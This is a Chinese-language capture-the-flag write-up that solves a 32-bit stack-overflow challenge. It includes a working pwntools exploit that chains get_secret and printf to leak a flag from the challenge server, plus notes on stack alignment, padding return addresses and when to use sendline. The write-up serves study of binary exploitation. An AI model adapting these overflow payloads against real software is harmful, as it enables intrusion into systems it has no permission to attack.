ScreenShot_2026-03-29_211120_671.png
今天这题思路比较基础,但是算是整理一下pwn溢出的payload构造遇到的问题:
1.ret加在哪里?什么时候加?什么时候不加?
2.什么时候直接发送sendline()?什么时候发送sendlineafter()?
3.今天算是开眼了,居然不用覆盖ebp直接写printf()的函数地址?

ScreenShot_2026-03-29_211252_463.png
没啥保护,放ida,看主要代码

ScreenShot_2026-03-29_211641_229.png
主函数就是一个输入,然后明显存在一个0x2d的栈溢出,接着找后门函数
ScreenShot_2026-03-29_211646_862.png
后门函数是一个拂去flag的函数,这题和之前不一样的是这个函数只负责读取,不负责打印,所以要在这个后门函数执行结束之后跳转到打印函数,很明显,主函数有个printf()

所以构造payload: 0x2d个垃圾字符 + (ebp地址,我认为是要的,实际没用)+ get_secret()函数地址 +(函数参数,这个函数没有,所以不用写)+ printf函数地址 + 函数返回地址 + 参数地址(这里是get_secret函数输入的变量的地址)

exp:

from pwn import *

p = remote('node5.buuoj.cn',26887)

file = "./not_the_same_3dsctf_2016"
elf = ELF(file)

get_secret = elf.symbols["get_secret"]
#print(hex(get_secret))
#get_secret = 0x80489A0

printf = elf.symbols["printf"]
#print(hex(printf))
#printf = 0x804F0A0

offset = 0x2d
flag = 0x80ECA2D

exit_addr = 0x804E660
payload = b'A'*offset + p32(get_secret) + p32(printf) +p32(exit_addr) +p32(flag)


p.sendline(payload)

print(p.recvline())

回答开篇讲的三个问题:

1.ret加在哪里?什么时候加?什么时候不加?
什么时候加: 如果你在做 64 位程序,调用 system("/bin/sh"),如果程序运行到 movaps 指令崩溃,说明此时栈指针(RSP)没有达到 16 字节对齐。

此时需要在调用 system 的地址前面,多塞入一个单纯的 ret 指令地址,让栈指针空走 8 个字节,从而实现 16 字节对齐。

**32 位程序完全不需要考虑这个。**

2.程序什么时候要加返回地址

如果你调用的函数带有参数(比如这里的 printf 需要 flag 作为参数),你就必须在目标函数和参数之间垫一个“返回地址”。截图里的 p32(exit_addr) 就是起这个作用。如果不在乎程序最后崩不崩溃,这里可以随便填 p32(0xdeadbeef) 充当垃圾数据。

什么时候不加: 如果你调用的函数不需要参数(比如 get_secret),且你只是想让它顺着往下执行,不用额外单独加“无意义”的返回地址垫片,它的返回地址直接写下一个你要调用的函数即可。


3.什么时候直接发送sendline()?什么时候发送sendlineafter()?
这一题:printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");,注意它的结尾没有换行符 \n。数据被憋在缓冲区。并没有真正发送到网络上(或者打印到屏幕上)。这时候就直接发送就行了。用sendlineafter()反而会死锁。


4.今天算是开眼了,居然不用覆盖ebp直接写printf()的函数地址?

注意看看函数开头有没有push ebp,没push就不用覆盖。